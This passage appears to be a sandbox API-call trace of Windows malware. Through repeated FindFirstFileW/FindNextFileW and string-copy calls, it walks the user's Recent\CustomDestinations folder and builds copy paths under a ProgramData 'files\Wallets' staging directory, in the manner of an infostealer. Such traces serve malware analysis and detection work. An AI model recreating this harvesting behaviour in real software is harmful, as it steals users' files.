returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.428] lstrcmpW (lpString1="CustomDestinations", lpString2=".") returned 1 [0052.429] lstrcmpW (lpString1="CustomDestinations", lpString2="..") returned 1 [0052.454] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.454] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*" [0052.454] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x589f40 [0052.455] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\." [0052.456] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\." [0052.456] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.456] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.456] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\.." [0052.456] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\.." [0052.456] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.456] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.456] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.456] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="28c8b86deab549a1.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms" [0052.456] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="28c8b86deab549a1.customDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms" [0052.456] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.456] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="590aee7bdd69b59b.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" [0052.456] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="590aee7bdd69b59b.customDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" [0052.456] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.456] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="5d696d521de238c3.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms" [0052.456] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.456] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="5d696d521de238c3.customDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms" [0052.457] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.457] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="7e4dca80246863e3.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" [0052.457] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.457] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.457] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="7e4dca80246863e3.customDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" [0052.457] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.457] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="969252ce11249fdd.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms" [0052.457] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.457] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.457] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="969252ce11249fdd.customDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\969252ce11249fdd.customDestinations-ms" [0052.457] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.457] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="d93f411851d7c929.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms" [0052.457] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.457] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.457] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="d93f411851d7c929.customDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms" [0052.457] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.457] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.457] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="f01b4d95cf55d32a.customDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms" [0052.457] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.457] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0052.457] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\", lpString2="f01b4d95cf55d32a.customDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations\\f01b4d95cf55d32a.customDestinations-ms" [0052.457] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.457] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0052.458] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.458] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: 